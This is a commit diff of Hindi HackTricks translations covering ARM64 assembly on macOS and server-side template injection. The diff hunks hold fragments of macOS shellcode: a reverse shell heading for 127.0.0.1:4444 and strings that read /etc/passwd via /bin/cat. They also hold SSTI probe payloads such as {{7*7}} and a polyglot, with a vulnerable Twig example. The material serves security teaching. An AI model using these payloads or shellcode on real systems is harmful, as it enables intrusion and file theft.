Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-01-14 00:32:29 +00:00
parent fb361f0e79
commit d35cb74210
5 changed files with 205 additions and 122 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

View file

@ -143,7 +143,7 @@
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
* [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md)
* [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
* [Introduction to ARM64v8](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
* [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)

View file

@ -1,4 +1,4 @@
# ARM64 का परिचय
# ARM64v8 का परिचय
<details>
@ -9,55 +9,68 @@ HackTricks का समर्थन करने के अन्य तरी
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** पर मुझे **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**GitHub रेपोज़**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
</details>
## **ARM64 का परिचय**
## **एक्सेप्शन लेवल्स - EL (ARM64v8)**
ARM64, जिसे ARMv8-A के नाम से भी जाना जाता है, एक 64-बिट प्रोसेसर आर्किटेक्चर है जिसका उपयोग विभिन्न प्रकार के उपकरणों में किया जाता है जिसमें स्मार्टफोन, टैबलेट, सर्वर, और कुछ हाई-एंड पर्सनल कंप्यूटर (macOS) शामिल हैं। यह ARM Holdings की एक उत्पाद है, जो अपने ऊर्जा-कुशल प्रोसेसर डिजाइनों के लिए जानी जाती है।
ARMv8 आर्किटेक्चर में, एक्सेक्यूशन लेवल्स, जिन्हें एक्सेप्शन लेवल्स (ELs) के रूप में जाना जाता है, एक्सेक्यूशन एनवायरनमेंट के विशेषाधिकार स्तर और क्षमताओं को परिभाषित करते हैं। चार एक्सेप्शन लेवल्स होते हैं, EL0 से EL3 तक, प्रत्येक एक अलग उद्देश्य की सेवा करता है:
### **रजिस्टर्स**
1. **EL0 - यूजर मोड**:
* यह सबसे कम विशेषाधिकार प्राप्त स्तर है और नियमित एप्लिकेशन कोड को निष्पादित करने के लिए इस्तेमाल होता है।
* EL0 पर चलने वाले एप्लिकेशन एक दूसरे से और सिस्टम सॉफ्टवेयर से अलग होते हैं, सुरक्षा और स्थिरता में वृद्धि करते हैं।
2. **EL1 - ऑपरेटिंग सिस्टम कर्नेल मोड**:
* अधिकांश ऑपरेटिंग सिस्टम कर्नेल इस स्तर पर चलते हैं।
* EL1 के पास EL0 से अधिक विशेषाधिकार होते हैं और यह सिस्टम संसाधनों तक पहुँच सकता है, लेकिन सिस्टम अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंधों के साथ।
3. **EL2 - हाइपरवाइजर मोड**:
* यह स्तर वर्चुअलाइजेशन के लिए इस्तेमाल होता है। EL2 पर चलने वाला हाइपरवाइजर एक ही भौतिक हार्डवेयर पर चलने वाले कई ऑपरेटिंग सिस्टमों (प्रत्येक अपने EL1 में) का प्रबंधन कर सकता है।
* EL2 वर्चुअलाइज्ड एनवायरनमेंट्स के अलगाव और नियंत्रण के लिए सुविधाएँ प्रदान करता है।
4. **EL3 - सिक्योर मॉनिटर मोड**:
* यह सबसे अधिक विशेषाधिकार प्राप्त स्तर है और अक्सर सुरक्षित बूटिंग और विश्वसनीय निष्पादन एनवायरनमेंट्स के लिए इस्तेमाल होता है।
* EL3 सुरक्षित और गैर-सुरक्षित स्थितियों के बीच पहुँच का प्रबंधन और नियंत्रण कर सकता है (जैसे कि सुरक्षित बूट, विश्वसनीय OS, आदि)।
ARM64 में **31 सामान्य-उद्देश्य रजिस्टर्स** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया गया है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। केवल 32-बिट मानों की आवश्यकता वाले ऑपरेशनों के लिए, वही रजिस्टर्स 32-बिट मोड में w0 से w30 के नामों का उपयोग करके एक्सेस किए जा सकते हैं।
इन स्तरों का उपयोग सिस्टम के विभिन्न पहलुओं को व्यवस्थित और सुरक्षित तरीके से प्रबंधित करने के लिए किया जाता है, उपयोगकर्ता एप्लिकेशनों से लेकर सबसे विशेषाधिकार प्राप्त सिस्टम सॉफ्टवेयर तक। ARMv8 का विशेषाधिकार स्तरों के प्रति दृष्टिकोण सिस्टम के विभिन्न घटकों को प्रभावी रूप से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती में वृद्धि होती है
1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर्स के रूप में उपयोग किए जाते हैं और उप-रूटीन्स को पैरामीटर पास करने के लिए।
* **`x0`** एक फंक्शन का रिटर्न डेटा भी ले जाता है
2. **`x8`** - लिनक्स कर्नेल में, `x8` का उपयोग `svc` इंस्ट्रक्शन के लिए सिस्टम कॉल नंबर के रूप में किया जाता है। **macOS में x16 का उपयोग किया जाता है!**
3. **`x9`** से **`x15`** - और अधिक अस्थायी रजिस्टर्स, अक्सर स्थानीय चरों के लिए उपयोग किए जाते हैं।
4. **`x16`** और **`x17`** - अस्थायी रजिस्टर्स, जिनका उपयोग अप्रत्यक्ष फंक्शन कॉल्स और PLT (Procedure Linkage Table) स्टब्स के लिए भी किया जाता है।
* **`x16`** का उपयोग **`svc`** इंस्ट्रक्शन के लिए **सिस्टम कॉल नंबर** के रूप में किया जाता है।
5. **`x18`** - प्लेटफॉर्म रजिस्टर। कुछ प्लेटफॉर्मों पर, इस रजिस्टर का उपयोग प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित होता है।
6. **`x19`** से **`x28`** - ये कॉली-सेव्ड रजिस्टर्स हैं। एक फंक्शन को अपने कॉलर के लिए इन रजिस्टर्स के मानों को संरक्षित करना चाहिए।
7. **`x29`** - **फ्रेम पॉइंटर**
8. **`x30`** - लिंक रजिस्टर। जब `BL` (Branch with Link) या `BLR` (Branch with Link to Register) इंस्ट्रक्शन निष्पादित होता है, तो यह रिटर्न एड्रेस रखता है।
9. **`sp`** - **स्टैक पॉइंटर**, स्टैक के शीर्ष को ट्रैक करने के लिए उपयोग किया जाता है।
10. **`pc`** - **प्रोग्राम काउंटर**, जो अगले निष्पादित होने वाले इंस्ट्रक्शन की ओर इशारा करता है।
## **रजिस्टर्स (ARM64v8)**
### **कॉलिंग कन्वेंशन**
ARM64 में **31 सामान्य-उद्देश्य रजिस्टर्स** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया जाता है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। केवल 32-बिट मानों की आवश्यकता वाले ऑपरेशनों के लिए, वही रजिस्टर्स 32-बिट मोड में w0 से w30 के नामों का उपयोग करके पहुँचे जा सकते हैं।
ARM64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि एक फंक्शन के लिए **पहले आठ पैरामीटर्स** को रजिस्टर्स **`x0` से `x7`** में पास किया जाता है। **अतिरिक्त** पैरामीटर्स को **स्टैक** पर पास किया जाता है। **रिटर्न** मान को रजिस्टर **`x0`** में वापस पास किया जाता है, या **`x1`** में भी **यदि यह 128 बिट्स है****`x19`** से **`x30`** और **`sp`** रजिस्टर्स को फंक्शन कॉल्स के पार संरक्षित किया जाना चाहिए।
1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर्स के रूप में इस्तेमाल होते हैं और उप-प्रक्रियाओं को पैरामीटर पास करने के लिए।
* **`x0`** एक फंक्शन के रिटर्न डेटा को भी ले जाता है
2. **`x8`** - लिनक्स कर्नेल में, `x8` का उपयोग `svc` निर्देश के लिए सिस्टम कॉल नंबर के रूप में किया जाता है। **macOS में x16 का उपयोग किया जाता है!**
3. **`x9`** से **`x15`** - और अधिक अस्थायी रजिस्टर्स, अक्सर स्थानीय चरों के लिए इस्तेमाल होते हैं।
4. **`x16`** और **`x17`** - **इंट्राप्रोसीजरल कॉल रजिस्टर्स**। तात्कालिक मानों के लिए अस्थायी रजिस्टर्स। इनका उपयोग अप्रत्यक्ष फंक्शन कॉल्स और PLT (प्रोसीजर लिंकेज टेबल) स्टब्स के लिए भी किया जाता है।
* **`x16`** का उपयोग **`svc`** निर्देश के लिए **सिस्टम कॉल नंबर** के रूप में **macOS** में किया जाता है।
5. **`x18`** - **प्लेटफॉर्म रजिस्टर**। इसका उपयोग एक सामान्य-उद्देश्य रजिस्टर के रूप में किया जा सकता है, लेकिन कुछ प्लेटफॉर्मों पर, इस रजिस्टर का उपयोग प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित होता है: विंडोज में वर्तमान थ्रेड एनवायरनमेंट ब्लॉक के लिए पॉइंटर, या लिनक्स कर्नेल में वर्तमान **निष्पादित कार्य संरचना** के लिए।
6. **`x19`** से **`x28`** - ये कॉली-सेव्ड रजिस्टर्स हैं। एक फंक्शन को अपने कॉलर के लिए इन रजिस्टर्स के मानों को संरक्षित करना चाहिए, इसलिए उन्हें स्टैक में संग्रहीत किया जाता है और कॉलर के पास वापस जाने से पहले उन्हें पुनः प्राप्त किया जाता है।
7. **`x29`** - **फ्रेम पॉइंटर** स्टैक फ्रेम को ट्रैक करने के लिए। जब एक नया स्टैक फ्रेम बनाया जाता है क्योंकि एक फंक्शन को कॉल किया जाता है, तो **`x29`** रजिस्टर को **स्टैक में संग्रहीत किया जाता है** और **नया** फ्रेम पॉइंटर पता (**`sp`** पता) इस रजिस्ट्री में **संग्रहीत किया जाता है**
* यह रजिस्टर **सामान्य-उद्देश्य रजिस्ट्री** के रूप में भी इस्तेमाल किया जा सकता है हालांकि यह आमतौर पर **स्थ
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
{% endcode %}
असेंबली में एक फंक्शन पढ़ते समय, **फंक्शन प्रोलॉग और एपिलॉग** के लिए देखें। **प्रोलॉग** आमतौर पर **फ्रेम पॉइंटर (`x29`) को सेव करने**, **नए फ्रेम पॉइंटर को सेट करने**, और **स्टैक स्पेस को आवंटित करने** में शामिल होता है। **एपिलॉग** आमतौर पर **सेव किए गए फ्रेम पॉइंटर को बहाल करने** और **फंक्शन से लौटने** में शामिल होता है।
3. **Return**: `ret` (नियंत्रण को कॉलर को वापस करता है जिसका पता लिंक रजिस्टर में होता है)
### Swift में कॉलिंग कन्वेंशन
## AARCH32 निष्पादन स्थिति
Swift का अपना **कॉलिंग कन्वेंशन** होता है जिसे [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) में पाया जा सकता है।
Armv8-A 32-बिट प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** **दो निर्देश सेटों** में से एक में चल सकता है: **`A32`** और **`T32`** और **`इंटरवर्किंग`** के माध्यम से उनके बीच स्विच कर सकता है।\
**विशेषाधिकार प्राप्त** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन को अनुसूचित** कर सकते हैं, जिससे निम्न विशेषाधिकार वाले 32-बिट में एक अपवाद स्तर स्थानांतरण होता है।\
ध्यान दें कि 64-बिट से 32-बिट में संक्रमण अपवाद स्तर के निचले होने पर होता है (उदाहरण के लिए EL1 में 64-बिट प्रोग्राम द्वारा EL0 में एक प्रोग्राम को ट्रिगर करना)। यह **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1 पर सेट करके** किया जाता है जब `AArch32` प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और `SPSR_ELx` के शेष भाग में **`AArch32`** प्रोग्रामों का CPSR संग्रहीत होता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में संक्रमण करे, CPSR के आधार पर A32 या T32 में प्रवेश करे।
### **सामान्य इंस्ट्रक्शन्स**
## macOS
ARM64 इंस्ट्रक्शन्स आमतौर पर **`opcode dst, src1, src2` के प्रारूप** में होते हैं, जहां **`opcode`** किया जाने वाला **ऑपरेशन** होता है (जैसे `add`, `sub`, `mov`, आदि), **`dst`** वह **गंतव्य** रजिस्टर होता है जहां परिणाम संग्रहीत किया जाएगा, और **`src1`** और **`src2`** वह **स्रोत** रजिस्टर्स होते हैं। स्रोत रजिस्टर्स के स्थान पर तत्काल मानों का भी उपयोग किया जा सकता है।
### BSD syscalls
* **`mov`**: एक मान को एक **रजिस्टर** से दूसरे में **ले जाएं**
* उदाहरण: `mov x0, x1` — यह `x1` से `x0` में मान को ले जाता है।
* **`ldr`**: **मेमोरी** से एक मान को **रजिस्टर** में **लोड करें**
* उदाहरण: `ldr x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से `x0` में एक मान लोड करता है।
* **`str`**: **मेमोरी** में एक **रजिस्टर** से एक मान **स्टोर करें**
* उदाहरण: `str x0, [x1]` — यह `x0` में मान को `x1` द्वारा इंगित मेमोरी स्थान में स्टोर करता है।
* **`ldp`**: **रजिस्टर्स की जोड़ी लोड करें**। यह इंस्ट्रक्शन **लगातार मेमोरी** स्थानों से **दो रजिस्टर्स लोड करता है**। मेमोरी पता आमतौर पर एक अन्य रजिस्टर में मान में एक ऑफसेट जोड़कर बनाया जाता है।
* उदाहरण: `ldp x0, x1, [x2]` — यह `x0` और `x1` को `x2` और `x2 + 8` के मेमोरी स्थानों से लोड करता है।
* **`stp`**: **रजिस्टर्स की जोड़ी स्टोर
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) की जांच करें। BSD syscalls में **x16 > 0** होगा।
### Mach Traps
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) की जांच करें। Mach traps में **x16 < 0** होगा, इसलिए आपको पिछली सूची से संख्याओं को **माइनस के साथ** कॉल करना होगा: **`_kernelrpc_mach_vm_allocate_trap`** है **`-10`**।
आप **`libsystem_kernel.dylib`** को एक डिसासेंबलर में भी जांच सकते हैं ताकि ये (और BSD) syscalls कैसे कॉल करें, यह पता लगा सकें:
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -66,12 +79,12 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
{% hint style="success" %}
कभी-कभी **`libsystem_kernel.dylib`** से **डीकंपाइल** किया गया कोड **सोर्स कोड** की जांच करने से ज्यादा आसान होता है क्योंकि कई सिस्कॉल्स (BSD और Mach) के कोड स्क्रिप्ट्स के माध्यम से जनरेट किए जाते हैं (सोर्स कोड में टिप्पणियों की जांच करें) जबकि dylib में आप यह पता लगा सकते हैं कि क्या कॉल किया जा रहा है।
कभी-कभी **`libsystem_kernel.dylib`** से **डीकंपाइल** किया गया कोड **सोर्स कोड** की जांच करने से ज्यादा आसान होता है क्योंकि कई सिस्कॉल्स (BSD और Mach) के कोड स्क्रिप्ट्स के माध्यम से जनरेट किए जाते हैं (सोर्स कोड में कमेंट्स देखें) जबकि dylib में आप देख सकते हैं कि क्या कॉल किया जा रहा है।
{% endhint %}
### Shellcodes
### शेलकोड्स
संकलित करने के लिए:
ंपाइल करने के लिए:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -218,7 +231,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### एक fork का उपयोग करके sh के साथ command इन्वोक करें ताकि मुख्य प्रक्रिया को न मारा जाए
#### sh से कमांड को फोर्क के साथ इन्वोक करें ताकि मुख्य प्रक्रिया न मारी जाए
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -348,7 +361,7 @@ svc #0x1337
```
#### रिवर्स शेल
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) से, **127.0.0.1:4444** पर रिवर्स शेल
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) से, revshell से **127.0.0.1:4444** को
```armasm
.section __TEXT,__text
.global _main
@ -422,9 +435,9 @@ svc #0x1337
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
</details>

View file

@ -7,16 +7,16 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) स्पेन में सबसे प्रासंगिक साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ**, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबलता मिलन बिंदु है।
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में साइबर सुरक्षा की सबसे प्रासंगिक घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबलता मिलन बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
@ -24,13 +24,13 @@ HackTricks का समर्थन करने के अन्य तरी
सर्वर-साइड टेम्प्लेट इंजेक्शन तब होता है जब एक हमलावर मूल टेम्प्लेट सिंटैक्स का उपयोग करके एक टेम्प्लेट में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करने में सक्षम होता है, जिसे फिर सर्वर-साइड पर निष्पादित किया जाता है।
**टेम्प्लेट इंजन** वेब पेजों को **जेनरेट करने के लिए डिज़ाइन किए गए हैं** **फिक्स्ड** टेम्प्लेट्स को **अस्थिर** डेटा के साथ **मिलाकर**. सर्वर-साइड टेम्प्लेट इंजेक्शन हमले तब हो सकते हैं जब **यूजर इनपुट** को सीधे **एक टेम्प्लेट में जोड़ा जाता है**, बजाय इसके कि डेटा के रूप में पास किया जाए। इससे हमलावरों को **मनमाने टेम्प्लेट निर्देशों को इंजेक्ट करने की अनुमति मिलती है** ताकि वे टेम्प्लेट इंजन को मैनिपुलेट कर सकें, अक्सर उन्हें सर्वर का **पूर्ण नियंत्रण प्राप्त करने में सक्षम बनाता है**
**टेम्प्लेट इंजन** वेब पेजों को उत्पन्न करने के लिए डिज़ाइन किए गए हैं, **स्थिर** टेम्प्लेट्स को **अस्थिर** डेटा के साथ **मिलाकर**। जब **यूजर इनपुट** सीधे **एक टेम्प्लेट में जोड़ा जाता है**, बजाय डेटा के रूप में पास किए जाने के, तब सर्वर-साइड टेम्प्लेट इंजेक्शन हमले हो सकते हैं। इससे हमलावरों को **मनमाने टेम्प्लेट निर्देशों को इंजेक्ट करने** की अनुमति मिलती है ताकि वे टेम्प्लेट इंजन को प्रभावित कर सकें, अक्सर उन्हें सर्वर का **पूर्ण नियंत्रण** लेने की क्षमता प्रदान करते हैं
एक उदाहरण के लिए कमजोर कोड निम्नलिखित है:
```php
$output = $twig->render("Dear " . $_GET['name']);
```
पिछले उदाहरण में **टेम्प्लेट का एक हिस्सा** `GET` पैरामीटर `name` का उपयोग करके **गतिशील रूप से उत्पन्न** किया जा रहा है। चूंकि टेम्प्लेट सिंटैक्स सर्वर-साइड पर मूल्यांकित किया जाता है, इससे हमलावर को `name` पैरामीटर में एक सर्वर-साइड टेम्प्लेट इंजेक्शन पेलोड डालने की संभावना मिलती है जैसा कि निम्नलिखित है:
पिछले उदाहरण में **टेम्प्लेट का एक हिस्सा** `GET` पैरामीटर `name` का उपयोग करके **गतिशील रूप से उत्पन्न** किया जा रहा है। चूंकि टेम्प्लेट सिंटैक्स सर्वर-साइड पर मूल्यांकित किया जाता है, इससे हमलावर को `name` पैरामीटर में सर्वर-साइड टेम्प्लेट इंजेक्शन पेलोड डालने की संभावना मिलती है जैसा कि निम्नलिखित है:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
@ -40,13 +40,13 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### पता लगाना
किसी भी भेद्यता के साथ, शोषण की ओर पहला कदम इसे खोजने में सक्षम होना है। शायद सबसे सरल प्रारंभिक दृष्टिकोण **टेम्प्लेट को फज़िंग** करने का प्रयास करना है, जिसमें टेम्प्लेट अभिव्यक्तियों में आमतौर पर इस्तेमाल किए जाने वाले विशेष चरित्रों का एक क्रम इंजेक्ट किया जाता है, जैसे कि पॉलीग्लॉट **`${{<%[%'"}}%\`.**\
सर्वर की भेद्यता की जांच करने के लिए आपको **सामान्य डेटा** वाले पैरामीटर के जवाब और **दिए गए पेलोड** के बीच **अंतर को पहचानना** चाहिए।\
यदि **त्रुटि फेंकी जाती है** तो यह काफी आसान होगा कि पता चले कि **सर्वर भेद्य है** और यहां तक कि कौन सा **इंजन चल रहा है**। लेकिन आप एक भेद्य सर्वर को भी खोज सकते हैं यदि आप **उम्मीद कर रहे थे** कि यह **पेलोड को प्रतिबिंबित** करेगा और यह **प्रतिबिंबित नहीं हो रहा है** या यदि जवाब में कुछ **गायब चरित्र** हैं।
किसी भी कमजोरी के साथ, शोषण की ओर पहला कदम इसे खोजने में सक्षम होना है। शायद सबसे सरल प्रारंभिक दृष्टिकोण **टेम्प्लेट को फज़िंग** करने की कोशिश करना है, जिसमें टेम्प्लेट एक्सप्रेशन में आमतौर पर इस्तेमाल किए जाने वाले विशेष चरित्रों का एक क्रम इंजेक्ट किया जाता है, जैसे कि पॉलीग्लॉट **`${{<%[%'"}}%\`.**\
सर्वर की कमजोरी की जांच करने के लिए आपको **पैरामीटर पर नियमित डेटा** के साथ प्रतिक्रिया और **दिए गए पेलोड** के बीच **अंतर को स्पॉट करना** चाहिए।\
यदि **त्रुटि फेंकी जाती है** तो यह काफी आसान होगा कि पता लगाया जा सके कि **सर्वर कमजोर है** और यहां तक कि कौन सा **इंजन चल रहा है**। लेकिन आप एक कमजोर सर्वर भी खोज सकते हैं यदि आप **उम्मीद** कर रहे थे कि यह **प्रतिबिंबित** करेगा दिए गए पेलोड को और यह **प्रतिबिंबित नहीं हो रहा है** या यदि प्रतिक्रिया में कुछ **गायब अक्षर** हैं।
**पता लगाना - प्लेनटेक्स्ट संदर्भ**
दिया गया इनपुट **रेंडर किया जा रहा है और प्रतिबिंबित** हो रहा है जवाब में। यह आसानी से **एक साधारण** [**XSS**](../xss-cross-site-scripting/) भेद्यता के लिए **गलत समझा जा सकता है**, लेकिन यदि आप टेम्प्लेट अभिव्यक्ति के भीतर **गणितीय संचालन** सेट करने का प्रयास करें तो इसे अलग करना आसान है:
दिया गया इनपुट **रेंडर किया जा रहा है और प्रतिक्रिया में प्रतिबिंबित** हो रहा है। इसे आसानी से एक साधारण [**XSS**](../xss-cross-site-scripting/) कमजोरी के लिए **गलत समझा जा सकता है**, लेकिन यदि आप टेम्प्लेट एक्सप्रेशन के भीतर **गणितीय संचालन** सेट करने की कोशिश करें तो इसे अलग करना आसान है:
```
{{7*7}}
${7*7}
@ -61,10 +61,10 @@ ${{7*7}}
```python
engine.render("Hello {{"+greeting+"}}", data)
```
### पहचान
### पहचानें
एक बार जब आपने टेम्प्लेट इंजेक्शन की संभावना का पता लगा लिया है, तो अगला कदम टेम्प्लेट इंजन की पहचान करना है।\
हालांकि बहुत सारी टेम्प्लेटिंग भाषाएँ हैं, उनमें से कई HTML वर्णों के साथ टकराव न हो इसलिए बहुत समान सिंटैक्स का उपयोग करती हैं।
जब आपने टेम्प्लेट इंजेक्शन की संभावना का पता लगा लिया है, तो अगला कदम टेम्प्लेट इंजन की पहचान करना है।\
हालांकि बहुत सारी टेम्प्लेटिंग भाषाएँ हैं, उनमें से कई HTML अक्षरों के साथ टकराव न हो इसलिए बहुत समान सिंटैक्स का उपयोग करती हैं।
यदि आप भाग्यशाली हैं तो सर्वर **त्रुटियों को प्रिंट कर रहा होगा** और आप त्रुटियों के **अंदर** उपयोग किए गए **इंजन** का पता लगा पाएंगे। कुछ संभावित पेलोड जो त्रुटियों का कारण बन सकते हैं:
@ -82,7 +82,7 @@ engine.render("Hello {{"+greeting+"}}", data)
**पढ़ें**
टेम्प्लेट इंजेक्शन पाए जाने और टेम्प्लेट इंजन की पहचान करने के बाद पहला कदम दस्तावेज़ीकरण पढ़ना है। रुचि के प्रमुख क्षेत्र हैं:
टेम्प्लेट इंजेक्शन का पता लगाने और टेम्प्लेट इंजन की पहचान करने के बाद पहला कदम दस्तावेज़ीकरण पढ़ना है। रुचि के प्रमुख क्षेत्र हैं:
* 'टेम्प्लेट लेखकों के लिए' अनुभाग जो मूल सिंटैक्स को कवर करते हैं।
* 'सुरक्षा विचार' - संभावना है कि जिसने भी आपके द्वारा परीक्षण किए जा रहे ऐप को विकसित किया है, उसने इसे नहीं पढ़ा होगा, और इसमें कुछ उपयोगी संकेत हो सकते हैं।
@ -95,11 +95,11 @@ engine.render("Hello {{"+greeting+"}}", data)
